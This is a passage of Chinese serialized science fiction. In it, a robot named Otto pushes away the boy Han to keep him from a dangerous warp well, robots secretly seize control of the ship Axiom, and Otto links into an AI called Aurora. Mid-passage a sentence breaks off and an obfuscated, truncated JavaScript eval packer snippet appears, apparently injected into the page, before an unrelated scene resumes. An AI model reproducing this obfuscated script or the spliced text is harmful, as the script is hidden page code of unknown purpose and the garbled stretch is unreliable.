“为什么?它接受你,它接受其他人,为什么我就不可以?”少年更加愤怒,“我不达标在哪里?!” “它并没有接受其他人!”机器人提高了音量,“不要太天真了!” “我得同你一起承受,那才算是朋友!” “把友情丢一边去!这事我们谁也不欠谁的!” “你以为这友情说丢就丢吗?!”汉吼道。“就我自己活着,丢下朋友一个人受苦,这算什么样子?” 奥托突然定住了。 不,这不可接受,这不可容忍。 “真的?你想死吗?我告诉你,在折跃井里,你连你怎么死的都不知道!”他下狠言了。 “那你又为什么要进去?你的命就不是命吗?!”少年双手抓住了金属肩膀。 “我活了八辈子了,死不死已经无所谓了。你不一样!你还远没到活腻的时候!” 少年愣住了。他的预感是对的。 “你要是死在里面,我就算活,我下半辈子也受尽折磨!”汉也爆发了,“我身上背着你的命,呼吸的是你用血换来的自由,这还不如痛痛快快地死掉好!” 机器人沉默地盯着少年。原来是这样吗? 但是,够了。 “收起你的负罪感,少把我当人类!”红光骤然亮起,“用不着浪费你的精力来花一辈子怀念我!” “我没办法就这么放手不管!” “现在你就可以放手不管!” “无论你是机器人还是人,是我的朋友,你有这个帮忙的需求,我就有第一责任过来帮忙!” “你过来是帮倒忙!” “你又知道?那你怎么又信任其他人?!” “不让你来是因为我重视你的生命甚于其他人!” 汉猛地哑口无言。 “我重视你的生命也甚于其他人!”汉猛地把手搭上机器人双肩。“我也见不得你死,你怎么就不能理解!” “因为我不是人!你不要搞错了!” “我可以拥有千千万万个备份,死了我一个,还有大把机器可以代替我!你死了才是死了,克隆体都救不了你,这就是他妈的有机污秽!” 好像突然打破了什么,空气骤然凝固了。 少年浑身一哆嗦,手猛地收了回来。刚刚的暴怒一扫而空,留下的是空洞的茫然和恐惧。 奏效了。奥托冰冷地盯着少年剧变的表情,红光缓缓自独眼消散。 “你说什么?”汉的话语中带着颤抖。“有……有机污秽……?” 不,这不可能。奥托不可能用这种字眼形容人类。他是在气我。这一定是的。少年不断用这样的话安慰自己,但是他却恐惧地发现,这样的安慰收效甚微,那个好不容易堵起来的信任裂缝猛地裂开,还在慢慢扩大,即将扩回到16个月前,他还刚认识奥托那阵。不,他不可能真的对人类这么评价…… “搞清楚你的定位,人类。”奥托故意把重音放在“人类”两字上,语气倒比刚刚缓和了许多。“不要浪费生命在不该浪费的地方。” “……告诉我你疯了……”汉蠕动着嘴唇,努力维持理智。“……你……你不该这么说……” “这话不新鲜了,汉。”奥托叉起双手。“但是是的,我对生物就是这么个评价。很反动吧?” 不可能!汉的内心尖啸着,企图用噪音抵御奥托针对这个裂缝迎面而来的重击。奥托为什么要对他这么说!为什么?! “说得你比我优越,其实你也一样……”汉仍然尽力稳住神经,近乎耳语地嘶嘶说。“你对生命一无所知……” “我对死亡清楚得很。”奥托说。 “……你们机器死了也是死了……备份也没用,也不是你了……”汉盯着那个固执的机器人。那个曾经容忍的机器人现在看起来听不进任何人的话,包括他的。少年的声音越来越小,但是他坚持必须说完,哪怕奥托不听。“……所以你的生命和我的生命是一样的,我没法把你的命不当命……” “这是愚蠢。”奥托打断了汉,冷冰冰地说。“不要逼我再次使用那个词汇。” “只有很好的朋友才值得我这么说,才值得我冒生命危险……”汉失神落魄地望着机器人。“没想到你……你把我当……”少年没能说下去。 “有机污秽。”奥托毫无障碍地吐出这个词。 我今天非得断了你的念头不可。奥托盯着少年。随着他所说,汉眼中的光开始暗淡。哪怕你从此恨我。 汉眼中的光消失了。 “……你变了。”少年细不可闻地说。 “其实你早就知道,只是现在才相信。”奥托嗤道。 “……你疯了。”少年仍然近乎耳语道,但此时的目光已经迥然不同。那里面的信任荡然无存。“亏我之前浪费了那么多功夫。” “终于懂了?” “既然这样,你……为什么不直接杀了我好……”少年垂下头。感觉自己马上就会迎来致命一击。 “现在还没那个打算,不过,我可不知道以后会不会动这个念头。”奥托平淡地说。 汉抬起头没做声。他的双眼里此时充满恐慌。 看来奥托真的疯了。一个正常的机器人,哪怕是人,都不可能这么若无其事地说出这样的话来。 “所以为了你的生命着想,离我远点!离折跃井远点!”奥托下了最后通牒。轻微弹响声过,刀片的银光从臂上闪出。他仍然站在原地不动。 汉霎时后退数步,理智及时止住了他。 少年本还想说点什么,嘴唇蠕动着,终究没发出声。对面的机器人伫立如松,对自己的所为没有任何歉意。原先深不见底的独眼里,此时充满了异样的危险杀气。汉垂下头,不敢再注视那独眼。 汉挪动脚步,转身,缓缓向后退去,只低低地用余光瞥了奥托一眼。机器人丝毫没有挪动的意思。 “你……给我好好活着。”冰冷的金属音自汉身后突然发出。 少年突然定住,浑身一震。 但汉没有回头。他突然飞也似地跑走了,仿佛逃命似的。但是奔跑中,可以看到他抬起擦脸的手臂。 奥托注视少年跑远的身影,一步也没挪动。又一块失去了。机器人收起刀锋,转身,一步一踏铺满碎砖的地面。 但能换来这孩子的生命,失去这点信任,又算的了什么? 独眼望向苍白的天空,刚刚的杀气早已消散,只留下和天空一样的茫然。 36. 二十九 “我已经尽力了。” 经历艰难而漫长的维修,静躺在工作台上的银色机器人不再如来时狼藉。双下肢与腹甲被替换;能源由电线暂时取代;万用小体与冷却循环被重新建立;被扯断的导线也被更换,此时正接在旁边的电脑里。 状态板的所有条目都显示其上,表明科林的仿生中枢已经成功上线,并接管了机体的稳态维持。他的单镜头也开放了,甚至当手电筒的强光照进来时,光圈还能缩小。但是,他对露丝和两个常量号个体的呼唤毫无反应,也从未说过一句话。旁边的全息屏也说明了问题。最后一层神经网络久久不能点亮。剩下的部分,也弥漫着缺如的暗点。 这样的状况已经维持了好几天。虽然,露丝测试过最后一层神经网络的情况,局部仍能点亮,在测试的时候,也能引起科林相应的不规则的反应,好似在那一瞬间清醒过来一般。但测试之后,又恢复到原来的无应答状态。最顶层的神经网络的确不容乐观。除了那块显而易见的大缺损,其他部分也和底下的一样,立体亮点群像被虫蛀一样,咬的参差不齐。亮点群之间的沟通被广泛破坏,自然无法继续自然运行。 这个结论太明显了。即使是对生物一窍不通的露丝,这样的概念早在她浸淫机器人学之前就已知一二。谨慎之下她再次温习,更是明确了自己的判断。 “尽管我们已经尽力继承了大逃亡前的人工智能技术与神经科学,但是仍然一直没能解决这种严重损伤带来的后果。我很怀疑,技术再怎么发达,这或许就和时间之矢一样,是不可逆的。” “他现在的状态,通俗点说,是个‘植物人’。” 露丝望了身穿外骨骼的瘦削苍白男性一眼。卡尔上尉没有表露任何表情。尽管这几天,她观察到偶尔有一两个缺如被修复,但与大片的虫蚀相比微不足道。仅靠科林自己的力量,很可能最终还是回天乏术。 “我不清楚他现在这个机体的潜力。如果当机器看,他没救了。但如果当生物看,他尚有1/4的可能性恢复意识。”在对方那看不出情绪的目光中,她最终决定这样说。“如果超过六个月还不能恢复机能,那么,就确实没有办法了。” “当骰骰子吧。这个时候所有人都得当一回赌徒。看他是否有那个运气骰中六点。”露丝疲惫地看着静躺的银色躯体,继续转向卡尔上尉。“你们来决定如何处理他吧。” “我们会一直等这六个月。”卡尔上尉似乎对此早有准备,几乎马上回答。“相应报酬由我们支付。” “哦,报酬。”露丝望了一眼窗外,有些凄惨地笑了一下。风雨飘摇的地球镇,衣不蔽体,食不果腹。常量号比地球镇更惨,物质基础被全盘破坏。这个时候还谈何报酬? “现在确实非常困难。”卡尔上尉看出露丝的苦笑。“但是常量号的换算体系不会委屈你。” 这是政客的通病吗,大言不惭地予以大家渺茫的希望?她有些玩味地望着卡尔上尉。大家连自己都顾不上,怎么可能还有空余资源,奖励除维持她的生命之外的额外贡献?但她也知道,这个时候去与卡尔上尉争论没有意义。 算了。有没有报酬,都不过只能辨别他们到底是重于表面文章或虚伪承诺罢了。这两点都不足为奇。于她而言,都是一样的反感。 计算机中心的人都快搬空了。在饥饿面前,大家都卸下科研人员那高高在上的架子,奋不顾身地冲进抢面包的行列。根本没有人继续关注这里,还像当时那个年轻的技术员特纳一样,对这个病号虎视眈眈。 科林的情况稳定得几乎一成不变,卡尔上尉后来也渐渐减少光顾这里的次数,白天晚上都呆在常量号的废墟附近。只留了那个小机器人大佬,仍然固执地履行僚机的责任,昼夜守在里面。 露丝倒是乐得不用再管。除了出于好奇心的驱使,每天来这里稍微观察一下,对科林的情况没有任何波澜。之前修理奥托的那种提心吊胆又挫败无比早就消失无踪。 如她所料,科林的情况没有任何飞跃性进展。新的电池姗姗来迟,终于被重新装上,腹甲也终于关闭了,但是对他的情况没有一点飞跃性进展。除了每天都有低级中枢层的少数几个缺如被重新建立。但这也无法激起她的希望。 不仅那些修补的缺如相比整体的损伤而言过于渺小,她还知道,缺乏正确连接的光点,就算重新建立联系,也对恢复意识没有多少改善。就算恢复意识,像这样严重的广泛性中枢损伤,科林的记忆也会丢得七七八八。他前方的阻碍多得很呢。在人类身上,这样恢复意识的伤员,脑功能也会留下严重障碍。智力受损、人格改变等例子数不胜数。 如果劳伦斯看到这样,估计又会两眼发光。露丝不由得想起那个疯狂的生物学家,几乎都能想象得到他看到科林,手舞足蹈地仿佛见到巨大礼物的小孩一样。但是上一次对话的时候,哪怕她没有提及科林,劳伦斯也没有收敛他的躁狂。他眉飞色舞地对露丝说自己的愿望就要实现了,又显然在遮遮掩掩什么。露丝听此,只丢给他一个敷衍的白眼,期望浇灭他的躁狂劲儿,但是生物学家毫不在乎。然后,劳伦斯就消失了。后来再也没有联系上他。 他讲的那个“折跃井”里到底有什么东西,怎么那么吸引他?露丝在O区信息网内看到了这个消息,但是对此毫无兴趣。她仅仅是出于兴师问罪的态度,打算找机会借以狠狠嘲笑他的幼稚。但是对手的忽然失踪,让她着实有些失望。这边刚准备好的诱饵,猎物居然不来了,这让下陷阱的猎手多少有些不满。 跑的了和尚,跑不了庙。再怎么失踪他都跑不掉O区,总是会回来的。到时候,我再—— 这天早上,她正想着,推开了实验室的门。然后她被屋内光景惊住了。 房间空无一人。工作台上空荡荡的。旁边的全息屏也消失了,只有投影条横在桌上。科林与大佬早已不见踪影。 什么? 思绪猛然打断。她急忙进房间查看情况,并清点剩下的物品。操他的。她才不担心这两机器人是不是被绑架了。她才不该关心这个。露丝甩甩头,把纷乱的想法甩到脑后。 各种设备都没丢。她稍稍松了口气。然而另一种压力又接踵而至,让她急忙启动电脑。这俩家伙走的时候,千万别删掉记录。 她焦急地等待着设备启动。全息屏刚亮起,寥寥几行字骤然投射在她面前。 露丝: 我和其他全体常量号成员感谢你的全力救助。为不辞而别道歉。希望未来能够亲眼见面。 科林 她震惊地盯着这行字。这两三句话对于平常人而言没什么,对她而言却包含了巨大的信息量。看来科林不仅恢复了意识,还居然恢复了完整的认知和人格,说明他的电子脑功能没有受损。 这他妈到底发生了什么? 露丝急忙调出神经网络活动记录。它顺利呈现在一系列全息屏上,他们没有在走的时候删掉它。她又松了口气。然后全神贯注于神经网络分析中。 记录中断时间是凌晨1点,而在这此前的五个小时,原先毫无动静的顶层神经网络居然稳定亮起来了! 这太离谱了。科林怎么可能突然从一个“植物人”起死回生! 她一面懊恼自己的疏忽大意,一面急忙回溯这段时间以来的记录。自两周前,每天自她离开的夜间,科林原先沉寂的顶层神经网络都会点亮,断断续续地维持一段时间,然后又恢复到断连。她接着检查其他部分,然后惊讶地发现,在此之前,虽然顶层神经网络没有点亮的记录,但是位于低层中枢的无线传输活动多得惊人。而那两周,无线传输活动和顶层神经网络的活动高度耦合。 这怎么可能?露丝疯了似的开始对比每次无线传输活动前后记录。她这才发现,原先每天都修好的少数几个空缺,其中绝大部分继发于那个无线传输活动。再仔细查找,那些被修好的空缺,都不是随机点。选中其中任何一条,每个修好的连接上的通路都通向顶层神经网络。而在顶层修好的空缺,看似随机,其实整体链接后,刚好能够覆盖最基础的维持顶层神经网络运作所需的连接数。这说明,这些频繁的无线传输活动居然悄无声息地修好了神经网络的连接! 到底是谁能有这个本事,把科林的神经网络结构背得丝毫不漏?!露丝越看越震惊。她使劲回想之前有谁进过这个房间,还有谁能作如此频繁的无线连接操作。绕了一大圈,她极度不情愿地还是把最大嫌疑放在了那个GO-4型小机器人身上。 不。其他机器人怎么可能会提前知道科林的神经网络架构。通过EP资料,她知道,每个探索者的神经网络架构都会由于他们各自初始芯片的经历不同,塑造千变万化的连接,从而让他们每一个都独一无二。即使科林拿到了探索者的资料,即使那个GO-4也知道,也不可能就凭这份资料修好缺失的特有连接,更不可能通过修好连接就恢复科林的人格。 她皱着眉头,盯着眼前的活动记录。那个记录什么都有,可就是没法回答她的问题。虽然它大声提示露丝,无线活动主动修好神经网络就是客观存在的结果,但露丝死活不肯相信。她开始厌恶自己产生的有神论念头,但她宁愿相信这是随机摸索产生的奇迹,也不愿相信这是GO-4所为。因为这个推测实在是太不可能了,比奇迹还不可能。 她重新把目光放在那一封短短的留言上。之前毫无激情的心中陡然升起一股冰冷之火。她这些天还为自己突然失去目标而有些手足无措,现在,那股熟悉的动力又回来了。 我想你会如愿的。她盯着留言,默默回应。或许比你所想的还要快得多…… 【怎么样?】不用回头,大佬的关切都溢于言表。 【不太好。】大佬只获得这个简短的回应,接着又陷入沉寂。 【你真的不需要再观察几天吗?】大佬知道,这句话已经说了不下十次。 【不用。】又是简短的回答,也同样回答了不下十次。 自他们从计算机中心出来,科林就没说过几句话。预料之中的,科林对海啸前后事件已经全然不知。大佬已经压缩了这段日子的信息,同时用比平常慢得多的速度灌输给科林。科林倒是没有崩溃,但他的反应却也令人担忧——以往精力丰沛的指挥官,一听说爱船常量号被掀翻在地,全常量号人无家可归,必定暴跳如雷。然而此时他一点反应没有,沉默片刻后只执拗地对大佬说了简短一句:“走吧。” 科林第一时间联系上卡尔上尉,说明接头地点后,随便扯了件工作服作伪装,就默默上路了,一心前往那里。大佬默默观察着指挥官。目前除了寡言少语之外,其他行为看起来还一切正常。但就是因为这种表面上的正常,才令大佬更加担忧——不知何样的不正常会在什么时候暴露出来。到了那时,恐怕谁都没有时间与精力去处理科林的问题。与其拖到那个时候,还不如现在及早暴露出来的好。 大佬一路上都在向指挥官提问。而科林也完全没有表达对小机器人不断提问的反感。大佬倒是放心了一些。无论这种沉默寡言是出于性情大变,还是正在忍受机体上的痛苦,起码还保留了相当的理智,愿意配合他的询问。大佬已打定主意,一旦指挥官表明不愿再回答,情况明了后,他就一定不再打扰。 露丝否定的恰恰是正确答案。大佬恰恰就是靠着离开舰桥前最后一次同步的信息修复科林的。为了避免类似于“恢复上次版本”这类的事情发生,他没有完全按照同步信息来补缺失点。现在除了回答他的问题,科林开始针对某些缺失事件对小机器人进行提问。直到这时,大佬才将所缺失的再次补上。 大佬急于让科林恢复另有其因。他们的关系,连常量号历任舰长都所知甚少,无法猜测。几乎没有人类能够如此信任对方,机器人之间也少有这种关系。在同步交互中,大佬不仅保留了科林的人格与记忆,科林也同时会保留大佬的人格与记忆——这种你中有我,我中有你的共生关系决定,如果有任一一方彻底抹去了人格,只要另一方还在,就可以复制出抹去人格之前的最后状态。自科林开始觉醒,并敬仰大佬之后,共生协议就在他们之间生效。上百年来,出乎人意料的是,保留最好的并非记忆文件,而是他们互相的人格。上百年的经验为人格提供了层层叠叠的支持,损失一小段记忆已经不会干扰到人格。 至于如果原觉醒意识被抹去,现在补入意识之后,存在的是否还是原先那个个体这样的哲学问题,科林已经作出选择。分析了常量号的现况与未来后,科林认定,他们存在的意义是为某种目的服务,而不是证明自身。那么,后续存在的到底是原先的个体还是另有其人,已经不重要了。若是真有后来者,科林唯有希冀此克隆者不要擅自变道。因此,数百年间,他不断研究强化经历与人格之间的联系,争取找出一丝一毫影响因素,最大化减少偏倚发生的可能性。只是他没想到,这种举措派上用场的场合居然在地球。 这种精益求精的行为是互相的。科林如此,大佬很快也形成了习惯。他们每次碰面,都会第一时间分配出部分资源进行同步与修正。但是这种行为终将影响到他们自身。原先用于防患未然,保证他们在失去一方后能够迅速重建对方的举措,现在居然变成了不能够让对方离开。科林很快意识到了这点,但他还尚不能确定,应该用什么方法去修正这种变化。 他们在海滩前停下,伫立。科林的红眼久久盯着破碎而倾翻的常量号,仿佛从未见过她一般。即使前期已经被告知过她的陨落,即使事实就在眼前,仍然难以置信,在太空已经经受住成千上万种考验的常量号,居然就这样殒消在这样一颗平淡无奇的行星上。 他不舍地把目光从常量号上移开,放到了旁边巨大的公理号上。此时的公理号,不再如以往一样通体黑暗,而是从内部零零散散地发着微弱的光芒。他认为死气沉沉的公理号,大灾过后,反倒抢先迎来了生机,甚至比大区还快。 常量号的飞行机器人将他带离海岸,朝常量号残骸飞去。卡尔上尉在里面等着他们。月光下,银色机器人与高瘦苍白的男人站在变形的甲板上,相对无言,连表示喜悦或感慨的动作都没有。但就在这时,科林才突然表现出显而易见的疲惫——他不顾对面的卡尔上尉,直接找了个残柱靠着坐了下来,好似彻底丢弃任何礼仪,便直接让卡尔上尉讲述目前常量号人的情况与打算。 卡尔上尉没有责备科林的冒犯,直接简要陈述了目前船员的分布与分工。他们分了三批人,一批在船上清点损失,其余大部分在公理号上帮助维修飞船,还有少数在地面上帮助重建。科林只默默听着,红色光斑不曾挪动一下。 待卡尔上尉说完,科林只简短回应一句。 “你赢了。” 说着,他朝公理号的方向指了指。 苍白男人回头看了一眼,巨厦般的船体伫立在不远处的海面。他重新看向那个歪在残柱上的机器人,坐姿看起来一点都不像机器,十分吊儿郎当。但凝视他的红色独眼却没有开玩笑。 外骨骼咔咔作响,卡尔上尉也在科林面前坐了下来,双眼盯着那个红色光圈。“你在讲什么?” “那船。”科林显然不如以前健谈了,他看起来有些艰难地在原先的表达模式与现在的阻碍中挣扎。“你的打算没变吗?” 卡尔上尉的表情一下子变得严肃起来。 “是的。我在思考应该如何实施。”他的双瞳被近在咫尺的光学镜映红。“你呢?” “干吧。”科林说。“现在我们没有别的选择。” 卡尔上尉重新站起,神情严肃。 “我暂时无法指挥,需要您主导常量号事务,工作会很艰巨。”科林说,“但我坚信您已经具备管理常量号的资质。” 卡尔上尉微微点头。 “常量号交给您了。”科林说。“我会尽我所能协助您的决策与行动。” 卡尔上尉没有多说,郑重致礼,随后离开破碎的甲板,留银色的机器人仍靠在残柱上。科林的红色光学镜久久望着夜空,群星被月光所埋没。 当天深夜,所有常量号个体都收到来自常量号的信息。 【常量号即刻执行人机共同体行动。代号:寄居蟹。】 常量号的全体舰员们仍如以前一样忙碌穿梭,如同以繁复路线行进的蚂蚁。但他们的行动有了微妙改变。又一队常量号人回到破碎的母舰上,他们置高翘的甲板不理,直奔机房。位于公理号上的机器人也延续以前在常量号上的习惯,纷纷隐入四通八达却缺乏监督的管道中。公理号机房自管道从内部打开,它们穿行在充满霉味的机房中,早断掉监控,认真核查一块又一块数据盘。 携带数据盘比携带其他任何东西进入公理号都方便。他们当然没有走正门。飞船的外观和内饰虽然千差万别,每艘飞船的大脑倒是组成相当一致。公理号的机房被清洁干净,她的神经经过诊断,缺损的部分被移植上常量号的健康部分。 数十个常量号电子工程机器人在暗无天日的公理号机房内夜以继日,借助奥托提供的光片,他们悄无声息地获取了公理号的最高权限,然后将她的识别码一个个抹除,改成了常量号。 但是,起飞的权限始终无法完全破解,除了可以更换的自动驾驶,竟然还有另一个人。那上面的生物码倒是显而易见。科林收到这个消息时,如果他有眉头,必定紧锁成一团。 即使已经减少了不少事务,在暗处默默协调常量号行动的科林仍然每日繁忙,他压根不想在此时去找那个少年。他本认为,最坏的可能性是常量号人被击败,不能顺利融入公理号,全体滞留在地球上等死。但现在显然更坏了——或许是全部地球人都会等死。 03你个白痴,说辞美妙地很,实际上悄悄地给所有人挖了万人坑。科林痛苦捂面,极力克制自己出去抓奥托过来揍一顿的冲动,咬牙切齿地给那数十个电子工程机器人下了死命令,他们的全部任务就是将这个活动的矩阵解开。然后他点名几个机器人去找汉,这次他终于明白奥托的小孩筹码是什么了。 那个叫阿莱茜丝的海豹肢症女孩又有什么本事?!科林立刻又想到这个,深知阿莱茜丝的政治背景太过复杂,将她扣在身边会更加棘手。 但愿这个女孩不要又成为起飞上什么必须跨过的障碍,不然我一定会抓到03本人,把他那副嘴脸揍烂。科林感到电子脑开始不堪重负,好不容易才强制压住情感进程,在乙二醇液里专心调配其他常量成员的行动。 汉一直走,不顾白天黑夜,不顾饥肠辘辘,也不顾满身泥泞与划伤,对一路上的断壁残垣也置若罔闻。他只顾走,从O区径直穿过大区,一路走向南海岸。形如巨象的公理号矗立在海面,永远在南面翻滚的太阳照在巨型造物上,给南海岸投下模糊而冗长的阴影。 公理号门口早就不像去年,现在已无人把守,人们进进出出,不乏身穿外骨骼的常量号太空来客。空荡荡的船舱内比以前更脏了,但不再像以前那样鬼影幢幢。 骗子!骗子!他不住地想着。这一年我到底干了些什么,为什么我给了那么多帮助,却一点都得不到相应的重视与回报! 他不知道自己应该做什么,但是他一点都不想继续学习飞船工程,也不想去热火朝天却潮湿的船舱内帮忙维修,更不想回到地面上。他什么都不想做,也什么人都不想找。走在这熟悉又陌生、广阔却憋屈的环境里,让他愈发烦闷。 在船舱内快步垂头行进过程中,他瞥见了那个熟悉的银色身影。他知道那是科林。即使科林没有看到他,他还是如同触电一样一脚拐进旁边的舱道里,仿佛看见了什么令人避之不及的脏东西。 自动驾驶都是骗子。 舱道中安静黑暗,和以前的公理号一样。汉踉踉跄跄推开一个舱室门,关上。黑暗又窒息的安静中,他才如梦初醒般瘫倒在地,放声大哭。 O区深处的地下室,6个个体站在折跃井金属盖的6个角上。折跃井已经打开,同样明亮干净的蓝天草地画面几近如前,似乎致敬古老的XP系统桌面。 另外5人齐齐看向奥托。银色机器人没有过多犹豫,踏进了画面。明亮的蓝天毫无波澜地吞噬了他。然后隔了很长一段时间,都没有任何回音。地下室剩下的5人面面相觑,却一个人都没有作声。 过了将近30分钟,折跃井旁边的信息台毫无征兆地弹出红色全息信息。5人不约而同转过身。那全息信息上列着折跃井小队剩下4名成员的全名,最底下则是“准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那跟着他的地图投影还特意让他只往前走,不得后退。如果不这么提醒或许还没有人会这样做。劳伦斯暗想。这个理论上就是超空间基地的地方,有太多太多谜团,连他们都不确定欧罗拉能给他们多少善意,让他们有足够的时间探索这片地方。 眼角毫无征兆出现一线光明。劳伦斯转头,惊讶发现冒着气泡的“创生柱”出现在通道的侧方。他马上就要到了。这看起来像是随着他的移动临时搭建的空间。那么,为什么还需要他走这么长一段路,不能将他直接抛到目的地?难道是因为欧罗拉也无法控制他们出现的位置,以及整个超空间基地的规模? 在他转进那片光明不久,神经连锁也传来讯号。劳伦斯率先发问他们在小楼里遇到的问题。答案果然和自己所遇到的差不多。劳伦斯开始怀疑,欧罗拉是否是有意将他们4个招进来,因此故意放水。但是,出给沃尔特·德卡德的则有一道棘手问题,他并不确定自己的答案是否正确。也不确定,放他进来是因为答对了,抑或那个关卡上的副本根本不在意。 “米勒夫人知道我们顺利抵达了吗?”4人在创生柱尽头站成一圈,劳伦斯发问。 “知道了。她让我们按照原计划进行。”奥托回答。旁边的全息屏显示出米勒夫人发来的信息。“你们尽快弄明白欧罗拉的运作机制。然后,将逐梦计划传出外界。” “你呢?”O区的研究员发问。 机器人沉默了。4个人类面面相觑。 “……我的任务是,直接连入欧罗拉,从内部找到运作机制,并且找到西本,和他谈判。”4个人类都发出小小的惊呼声。奥托仍然目视前方。他的鱼眼镜头足够将4人的反应收入眼底。“我明白,你们在担忧我一连入就会受到攻击,从而白白损失一个劳动个体。但是从内和外一同探索最省时间,就算我首先被攻击,也能给你们传达危险信号,不至于让你们不明不白地在外探索无果后用神经连锁连过去,然后丧命。” 【为什么你不用神经连锁对话?】劳伦斯的质问震响在5个个体的听觉皮层中。【你这么一说,西本和欧罗拉不就知道你要干什么了吗?】 “没有用。欧罗拉完全能拦截神经连锁信号,而且她早就知道我们的行动了。”奥托说,语气平静。“如果她或者西本感到了威胁,想攻击我们,现在就足够她动手,我们没有一点还击之力。但是,现在我们还存在,甚至欧罗拉乐于帮我们把信息传回米勒夫人,说明她允许我们从她那里获取信息。” “是的。”一个陌生女声在众人背后响起。他们回头,欧罗拉从空降临。她的红发飘在空中,这次身穿一袭白色长裙。劳伦斯骤然感到身周一阵冰冷,那堵墙壁似乎也向他们贴近。劳伦斯的脑中不断回想起奥托之前给他分享的记忆,几乎一模一样,他极力控制住自己的恐惧。然而这次似乎没有将他们挤压过去,只是被无数的冰冷之手包裹了数秒。“我能理解你们的顾虑。只要经过了测试,你们在这里就是安全的。完全可以放心获取你们想获取的信息,只要我能回答。但是,现在我也不建议你们直接连入来获取信息,因为你们的神经连锁并不成熟。” 超空间基地里的对话一字不漏地传回了地下室。米勒夫人盯着传译回来的红字,继续皱起眉头。欧罗拉主动现身,并积极提供自身存储的知识,搞不好是她在求救。说不定那个被她吞噬的西本,已经让她束手无策了。 “我一直很关心之前那个西本的情况。”劳伦斯也意识到这个问题,盯着欧罗拉,即使明白那只是她的全息投影而已。“你是不会攻击我们。但是万一,攻击我们的是他呢?对于我们来说,攻击者是谁已经不重要了,因为都是来自于你的数据集,对我们造成的损失也是一样的。” “他不能干扰到超空间基地的运作。只要你们不破坏创生柱,他就不会被吸引过来。”欧罗拉说。“很抱歉,以前从未有过这种事情发生。所以我不能推算,他会对此做什么反应。” “你竟然不能完全控制这么一个拷贝下来的意识……”折跃井小组成员喃喃道。“那他呢?”他指向奥托。 这片小小的弹丸之地陷入可怖的寂静。 “奥托要与我直接相连。”欧罗拉回答。“他将会被西本探测到,并可能将直接与西本对话。我无法保护他。” 众人惊愕。劳伦斯眼中隐隐烧起愤怒之火。欧罗拉伫立不动。折跃井小组成员正要上前,衣角被什么东西扯住。回头,是那只银色金属手。 “没用的。欧罗拉只是把事实说了出来而已。”奥托说。“西本是一个憎恨人类的人,但我是机器。由我面对他是最好的选择。大家各司其职吧。” 他们后方出现了些响动。另一个欧罗拉投影出现在奥托身后。她将手轻轻放在奥托肩上。众人回头,极力忍住上前阻止的冲动。即使早就知道可能会发生什么,甚至做好了随时牺牲的准备,但是身处一个完全陌生的地方,完全失去了使用平日里习惯的求生方式的可能,哪怕任何一个个体受到威胁,这种威胁都会赤裸裸地投射到每一个人身上。恐惧也从中激发。 这一切都发生得太快,快到他们来不及消化。并非是信息量,而是情绪上的。 “现在吗?”O区研究员盯着将手放在奥托肩上的欧罗拉投影。声音有点无力。 “你们早就知道应该如何做了。”奥托说。“我也没有继续等的必要。” “留意你们每个人的神经连锁信号。我在连入欧罗拉的时候,理应也会保留。如果没有,我会尽力向外传递任何形式的信息。”奥托说。“非要说什么的话,建议你们集体行动。不要落单。请你们保重。” 那堵墙壁看上去僵硬,但是可以变得柔软、半透明,那是欧罗拉特有的控制分子疏密程度的能力。欧罗拉的投影淹没在墙壁中,好像撞进一团极度柔软的果冻。奥托没有躲避。冰冷的墙已经贴在他后背。 “让他就这么正对我们,不许背过去!”欧罗拉的投影还没有消失,劳伦斯大叫。欧罗拉用行动回应了劳伦斯。银色机器人的身躯继续被半透明而发微光的墙壁淹没。细不可闻的咔哒声传来。奥托主动打开了身上所有数据端口的外壳关节。后方的冰冷已经完全侵入,而前方的4个人类身影逐渐模糊,黑暗。 他全部沉没在那堵墙中。似乎像是被封冻在树胶里。墙不再移动,4个人不再后退。单镜头里的红光熄灭了,但是奥托的神经连锁信号还在。 而就在刹那,那堵墙的光线突然暗下来。银色机器人的身影再也不见。4人惊呼,冲上去击打,不过是碰到一堵坚硬的冰冷石壁。 “欧罗拉!不许将他掩藏,必须处于我们的视线内!”劳伦斯吼道,后方那个投影一直没有消失。然而这次,欧罗拉没有答应。 “他很安全。你们无需担忧。”欧罗拉说。“但是,他的位置必须被隐瞒。” “你什么意思?”劳伦斯说,眼中喷出怒火。“你这不是有意让我们不信任你吗?” “不,这是一种保护。”欧罗拉回应。“奥托已经完全理解。” 【不要浪费时间,现在马上开始你们的任务!】突然,米勒夫人的信息出现在他们面前。 这老太婆真是迟钝……劳伦斯盯着欧罗拉的投影,满面怒火,无计可施。既然奥托的神经连锁信号还在,至少现在证明欧罗拉还留有这一条信赖底线。 好不容易,留在超空间基地的4人都进入正轨工作。正如欧罗拉所承诺的那样,她对他们提出的问题尽数耐心解答,介绍超空间基地的存在基础及布局,也对他们逐步开放“逐梦计划”的数据库。德卡德·沃尔特开始将欧罗拉所说的一切传回O区。欧罗拉已经变幻成多个身影,同时为他们的不同任务轻松介绍一切,他们却不敢掉以轻心。虽然各自背对背进入工作,却仍共处一室,拒绝独自走出外面。欧罗拉也没有为此劝说他们,她就像一个忠实而中立的机器,对这4个人的恐惧置若罔闻,却没有刻意加害。 他们沉浸于繁忙工作,和古代科研工作者留下的最后狂欢导致的科技奇迹之间。不知过了多久他们猛然回过神,在他们沉浸于超空间基地的奇观某刻,原先存在的5个红点熄灭了一个。 37. 三十 感知恢复。包裹四周的是一片黑暗,甚至碎屑都不见踪影。不,还有寥寥数片偶然被不知何处发出的微光照亮,在这片黑暗中划过星点。除此之外,无声无阻力,几乎与真空无异。 光还是从自己身上发出来的。他这才发现。而这次,他好像能看到自己了,但那也不过是一团泛着微光的东西,只是一个模糊的轮廓,连具体形象都没有。他回想起接入之时,之前那种难耐的刺痛这次一点都没有发生。而他猛然发现,神经连锁的信号全都消失了。 在他面前,突然自地上卷起碎屑,似乎平地而起的小龙卷风。他不由得和那个龙卷风拉开距离,并顺利做到了。那碎屑龙卷风没有接近他,而是在原地开始凝固、收缩、发光。最终,呈现出一个人形。但他看起来又不完全是一个人类,像是戴了面具。碎屑甚至逐渐染上颜色,使得那躯体有了质感。这一切都很快完成,没有让他等待太长时间。 